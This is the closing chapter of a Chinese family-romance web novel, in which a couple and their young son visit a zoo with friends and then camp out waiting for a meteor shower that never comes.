肖楚戎也看出来了,白子浩不太喜欢林天雅,肖楚戎想着那次白子浩说他妈妈在追求他爸爸,还说他俩能成兄弟。 一向内敛高冷的小戎突然也起了捉弄的心思,他冲白子浩说道:“你爸爸和林阿姨是不是在谈朋友?” “怎么会?”白子浩激动得差点跳起来,“他们只是朋友,朋友!就跟我们一样的朋友。” “哦,朋友。” 肖楚戎淡淡应了一句,白子浩急忙又补充道:“真的。” “不过我觉得挺好的。” “好什么?” “如果林阿姨跟白叔叔在一起的话,你不就有个妹妹了吗?” 这下白子浩不淡定了,直接跳起来,“怎么可能!我不要什么妹妹!” “我就是随便说说的。”肖楚戎看似淡定应了一句,不过侧头咬冰淇淋时却暗戳戳勾了勾嘴角浅浅笑了一下。 好友破防的样子让他觉得挺好玩。 两人吃完冰淇淋,大人们招呼他们过去拍照。白军充当摄影师,给肖秉文张婉如一家还有林友莉林天雅一家都各自拍了些。 相机曾给张婉如留下阴影,不过不知从什么时候起她不再惧怕相机,站在相机前也能大方自如。 只是这次拍照她明显感觉肖秉文不太对劲,面对举着相机的白军他总跟她表现得格外亲密。就比如将她腰搂得很紧,用脸贴着她的脸,甚至在拍下某一张时,还在她脸颊上留下一吻。当然夫妻两表现的亲密点好像也没什么,可当着外人的面总有些难为情。 张婉如有些不自在,肖秉文倒是全程都挺大方,似乎这样做一点毛病都没有,张婉如也只有由着他。 各家都拍了些照片,最后白军提议大合照,相机给了一个路人游客,几家人站成一排。张婉如的腰依旧被肖秉文紧搂着,似乎这样还不够,又小声在她耳边提醒:“靠我怀里面。” 张婉如有些恼,两人关上门怎么亲热都行,可当着外人的面她不好意思和他这么亲密。 “嗯?”他小声催促。 没办法,张婉如便往他怀中靠过去,肖秉文如愿搂着他,她听到他在她头顶溢出一声轻笑,似乎满足了。 张婉如一边是将她整个搂着的肖秉文,另一边则是小戎,而小戎和他的好朋友白子浩站在一起,白子浩旁边是牵着他手的爸爸,白军那边则是林友莉母女。 拿着相机的路人游客指挥着众人走得近一些,白子浩便很自然将手臂搭在好友身上。肖楚戎却不太习惯,张婉如似乎看出了儿子的别扭,小声冲她说道:“好朋友就要手搭着手,你也搭上白子浩同学的肩膀呗。” 小戎便听了妈妈的话,虽然不太习惯,也学着朋友将手臂搭上他的肩。 相机快门按下的那一刻,肖秉文将怀中女人的腰搂紧,白军也暗戳戳牵着旁边女人的手,几个小朋友对着镜头笑,连一向内向的小戎脸上也露出笑。 小朋友们玩得很开心,小戎自然也是。这张大合照小戎尤其喜欢,旁边是紧紧站在一起的爸爸妈妈,他的小手还被妈妈牵在手里,而另一边则是他的朋友。 是的,他有朋友了,爸爸妈妈陪伴在身边,他也有了即将一起长大的朋友。 小戎的动物园之行是期待已久的,再加上肖秉文这段时间太忙都没怎么回过家,这一次就打算好好陪他玩。 几个小朋友玩起来忘了时间,一玩就玩到下午。下午大家一起吃了顿饭之后就散了,张婉如一家三口却没回家。动物园附近有个露营地,听说今晚有流星,肖秉文打算带小戎去露营看流星。 今日正好是休息日,来露营的人挺多的,一家三口找了个空着的位置,分工协作搭好了帐篷,一边吃着带来的小零食,一边坐在帐篷门口等待流星到来。 “听说对着流星许愿很灵,小戎有什么愿望吗?”张婉如问道。 小戎想了想说道:“我的愿望是爸爸妈妈一直在一起。” 此刻小戎坐在张婉如和肖秉文二人中间,张婉如听到这话,下意识看了肖秉文一眼,正好也对上他看过来的眼神,含着笑意的眼神,却带着几分深意,也不知小戎这话让他想到了什么。 张婉如收回目光,揉了揉小戎的脑袋说道:“就算你不许愿,我和爸爸也会一直在一起的,所以不要浪费愿望,小戎再想想其他的。” “其他的?”小戎思索着却半天没想出结果。 张婉如提醒他:“就比如小戎有没有什么喜欢做的事情,将来要成为什么样的人,科学家?医生?老师?等等这些。” “喜欢做的事情?”小戎一双圆溜溜带着疑惑的目光看向张婉如,小表情茫然起来。 “小戎没有喜欢做的事情吗?” 沉默了一会儿小戎说道:“我喜欢做爸爸妈妈的孩子,这算吗?” 张婉如噗嗤一声笑了,她道:“喜欢做的事情是说这件事会让你很开心,会让你很有成就感。” 小戎道:“做爸爸妈妈的孩子我就很开心,也很有成就感。” “……” 张婉如对上他认真真挚的目光,眼底清澈明亮却又带着几分天真。突然想到梦境中小戎所经历的悲痛,他鼓起勇气去找她却被她冷漠拒绝,那时候的他该有多伤心绝望呢。仔细想想也能理解为什么小戎会说出在她看来有些天真的话,想要做爸爸妈妈的孩子,愿望是爸爸妈妈一直在一起。 小戎渴求的一直都是家庭的温暖。张婉如突然有些难过,她将小戎搂进怀中,用额头蹭了蹭他的头顶,冲他道:“妈妈向你保证,小戎会一直这么开心的好不好?” 妈妈怀中的温馨包裹着他,小戎眼底眼底溢出笑意,点点头:“好。” 母子这般搂了一会儿,小戎从张婉如怀中抬头问她,“妈妈你的愿望呢?你想许的愿望是什么?” “我希望我们一家三口平平安安健健康康。” 真的也不求别的了,也不想望子成龙,也不想肖秉文能像梦中那本小说中描写的那样成为一个大企业家,只要未来的悲剧不发生,他们一家三口能平安健康就行。 小戎又转头看向肖秉文,问道:“那爸爸呢?爸爸有愿望吗?” 肖秉文收回正殷切注视在母子身上的目光,闻言说道:“我的愿望就是,你们母子二人的愿望都能实现。” 张婉如想着,这算什么愿望啊? 就在这时,只听到附近有人说道:“诶,那是流星吗?” 一家三口便收回话头,急忙向天空看去,就见天空上有一道明亮的光线滑过,小戎问道:“妈妈流星来了吗?是不是要许愿了?” 张婉如也没见过流星,也不知道眼前出现的是不是流星。 “这不是流星,是飞机的探照灯。”肖秉文说了一句。 “……” 母子俩有些失落,旁边也有人发现不是流星,顿时失落的唏嘘声此起彼伏。 这场乌龙过去,大家又继续等流星降临,然而一直等到新闻上所说的时间也没等来流星。许多人觉得败兴,纷纷躲进帐篷睡觉,张婉如一家三口也等累了,回了帐篷。 小戎进去没一会儿就睡着了,张婉如躺在他身边轻轻拍着他的肩膀,也准备进入梦乡。骤然听到肖秉文轻轻咳了一声,张婉如向他看去,就见他冲她示意了一下他旁边,这是要让她睡过去。 张婉如便小心翼翼绕过小戎,在肖秉文身边躺下,小声冲他道:“干嘛啊?别把孩子吵醒了。” “这小子瞌睡好得很,没那么容易醒。” 听到这话张婉如捂嘴笑了笑。 “是不是挺遗憾,今晚没有流星?”张婉如问他。 “没有。” 遗憾什么呢,他重点才不是看什么狗屁流星,他对这些有多大的兴趣?重点只是为了陪母子俩而已。 这会儿天已经很晚了,肖秉文也没睡意,想跟她说说话,说什么都好,废话也好。 所以肖秉文问道:“你方才问小戎有没有什么喜欢做的事情,你呢?你有喜欢做的事情吗?” “喜欢做的事情?”张婉如想了想说道:“上学的时候喜欢做的事情是画画,后来我爸不让我学了,我喜欢做的事情就变成了英语,想把英语学好,想去很远的地方。” 去很远的地方?肖秉文微微蹙眉,原来那时候她就有这种想法了。 张婉如道:“你呢?你有什么喜欢做的事情吗?当兵?做生意?” 肖秉文收回目光落在她身上,深深看了她一会儿才说道:“我跟小戎差不多,我喜欢做的事情就是当小戎的爸爸,当你的丈夫。” “……” 他说这话时的表情挺严肃的,不是拿这话来说笑活跃气氛什么的。 张婉如一时心情复杂,“你们父子两怎么回事啊?亏我回答得还那么正经的。” “我回答得也很正经。” “……” 不过话是这么说,张婉如心情却挺不错的,她勾住肖秉文的脖子,问他:“那我要不要重新回答一下,不然显得我跟你们父子没默契。” 被她柔柔的手臂勾住脖子,肖秉文心头也热起来,他道:“行啊。” 张婉如道:“我喜欢做的事情,就是做小戎的妈妈,做你的妻子。” 虽说是为了和他们父子两有默契,不过这话他喜欢听。此刻两人离得近,他眉眼含笑的模样落进她眼中,这双深邃好看的眉眼被笑意点燃,格外好看。 张婉如没忍住在他眉心上摸了摸,好像还不够,又凑上去在他唇上亲了一口,轻轻的一下,贴上不多久便分开。 肖秉文本就被她搅得心头火热,她又突然送吻,一下就把他劲头勾了起来了,那含了笑意的眼神多了几分深沉的欲色,他问:“这会儿又不怕你儿子醒了?” “你不是说他瞌睡很好吗?” 这话一出,肖秉文就更是被搅得心猿意马了,这丫头也真是,干嘛动不动就亲人?肖秉文克制了一下,是怕一发不可收拾的,可奈何控制不住,眼里全是她这唇,还有方才唇上印上的触感。 最后也不跟自己作对,干脆勾着她的脑袋,一低头吻了下去,一吻下去就感觉要收不住,不过他没有失心疯忘了还有个小崽子在旁边,倒只是深深印了一下,含了一口便松开。 一松开又对上她水润润的双眼。 拿这眼神看着他,他感觉真要完蛋!急忙扣着她的头将他按在怀中,直到将体内的躁动慢慢平复下去。 这会儿是搞得他一点睡意都没有了,心情平复下来才低头向怀中的人看了一眼,这一看才发现这“罪魁祸首”竟就躺在他怀中睡着了。 肖秉文简直哭笑不得,这丫头还真会折腾人的,折腾完人转头就呼呼大睡了,真没心没肺的。 不过肖秉文依旧把人紧搂在怀中,搂得舒舒服服的也准备睡去,一抬眼看到躺在张婉如旁边小小的人儿,他长臂一伸将小崽子也一起搂过来。 好在手臂长,搂着娘二两也不费劲。 今晚压根就没什么流星,他们都被骗了,不过也无所谓,他看着怀中一大一小两个人,搂着他的全世界入睡,再绚烂的流星也比不过。 (正文完)